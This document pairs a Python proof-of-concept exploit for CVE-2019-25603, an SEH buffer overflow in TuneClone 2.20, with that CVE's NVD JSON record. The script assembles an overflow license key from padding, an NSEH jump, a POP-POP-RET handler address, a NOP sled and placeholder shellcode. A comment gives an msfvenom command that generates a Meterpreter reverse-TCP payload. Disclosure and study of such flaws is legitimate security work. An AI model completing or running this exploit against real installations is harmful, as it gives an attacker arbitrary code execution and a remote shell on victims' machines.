CVE-2019-25603

#!/usr/bin/env python3 """ PoC for CVE-2019-25603 - TuneClone SEH Buffer Overflow Generates a malicious license key to trigger the vulnerability. Note: Adjust offsets based on specific environment and module base addresses. """ import struct def create_poc(): # Offset to SEH handler (Example offset, needs debugging) offset = 4108 # NSEH instruction (Jump to Shellcode) # \xeb\x06\x90\x90 -> JMP SHORT +6, NOP, NOP nseh = b"\xeb\x06\x90\x90" # SEH Handler (POP POP RET) # Address needs to be a valid module address with no ASLR/DEP or a ROP gadget # Example address (hypothetical) seh = struct.pack('<L', 0x1001ae61) # Shellcode (Calc.exe or Bind Shell) # msfvenom -p windows/meterpreter/reverse_tcp LHOST=... EXITFUNC=thread -b "\x00\x0a\x0d" -f python shellcode = b"\xcc\xcc\xcc\xcc" # Placeholder for shellcode # Padding to align execution padding = b"\x90" * 20 # Build payload payload = b"A" * offset payload += nseh payload += seh payload += padding payload += shellcode payload += b"C" * (5000 - len(payload)) # Ensure total length triggers overflow print(f"[*] Generated PoC License Key (Length: {len(payload)})") print("[*] Paste this into the TuneClone License Code field.") return payload if __name__ == "__main__": create_poc()

{"cve": {"id": "CVE-2019-25603", "sourceIdentifier": "[email protected]", "published": "2026-03-22T14:16:27.893", "lastModified": "2026-04-16T16:19:50.757", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "TuneClone 2.20 contains a structured exception handler (SEH) buffer overflow vulnerability that allows local attackers to execute arbitrary code by supplying a malicious license code string. Attackers can craft a payload with a controlled buffer, NSEH jump instruction, and SEH handler address pointing to a ROP gadget, then paste it into the license code field to trigger code execution and establish a bind shell."}, {"lang": "es", "value": "TuneClone 2.20 contiene una vulnerabilidad de desbordamiento de búfer en el gestor de excepciones estructuradas (SEH) que permite a atacantes locales ejecutar código arbitrario al proporcionar una cadena de código de licencia maliciosa. Los atacantes pueden elaborar una carga útil con un búfer controlado, una instrucción de salto NSEH y una dirección de gestor SEH que apunte a un gadget ROP, luego pegarla en el campo de código de licencia para desencadenar la ejecución de código y establecer un bind shell."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "references": [{"url": "http://www.tuneclone.com/", "source": "[email protected]"}, {"url": "http://www.tuneclone.com/tuneclone_setup.exe", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/47012", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/tuneclone-structured-exception-handler-buffer-overflow", "source": "[email protected]"}]}}